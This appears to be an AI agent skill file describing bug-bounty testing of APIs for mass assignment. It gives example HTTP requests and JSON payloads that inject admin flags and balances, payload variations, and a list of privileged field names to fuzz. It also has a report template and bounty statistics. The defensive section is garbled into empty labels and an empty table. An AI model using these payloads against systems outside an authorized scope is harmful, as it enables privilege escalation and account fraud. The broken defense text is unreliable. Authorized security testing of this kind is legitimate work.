mass-assignment-exploitation

The full skill.

Original instructions from the publisher’s SKILL.md

# API Mass Assignment Exploitation

## When to Use
- When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
- To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.


## Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration

## Workflow

### Phase 1: Object Inspection

```http
# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>

# Response {
  "id": 123,
  "username": "tester",
  "email": "tester@example.com",
  "is_admin": false,
  "balance": 0.00
}
```

### Phase 2: Injecting Hidden Fields in PUT/POST Requests

```http
# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>

{
  "username": "tester2",
  "is_admin": true,
  "balance": 9999.00
}
```

### Phase 3: Bypassing Filters using Payload Variations

```json
// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }
```

### Phase 4: Fuzzing for Hidden Fields

If the response doesn't leak internal field names, fuzz using common patterns.
```text
# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
    B -->|Yes| C[Re-inject in POST/PUT ]
    B -->|No| D[Fuzz Common Hidden Fields ]
    C --> E[Verify Update/PrivEsc ]
```


## 🔵 Blue Team Detection & Defense
- **Strict Data Transfer Objects (DTOs)**: **Explicit Whitelisting**: **API Schema Validation**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Mass Assignment Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 💰 Industry Bounty Payout Statistics (2024-2025)

| Company/Platform | Total Paid | Highest Single | Year |
|-----------------|------------|---------------|------|
| **Google VRP** | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| **Microsoft** | $16.6M | (Not disclosed) | 2024 |
| **Google VRP** | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| **HackerOne (all programs)** | $81M | $100,050 (crypto firm) | 2025 |
| **Meta/Facebook** | $2.3M | up to $300K (mobile code execution) | 2024 |
| **Crypto.com (HackerOne)** | $2M program | $2M max | 2024 |
| **1Password (Bugcrowd)** | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| **Samsung** | $1M max | $1M (critical mobile flaws) | 2025 |

**Key Takeaway**: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M.
The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- OWASP API Security Risk: [API6:2019 Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0x11-mass-assignment/)
- PortSwigger: [Mass Assignment](https://portswigger.net/web-security/api-testing/mass-assignment)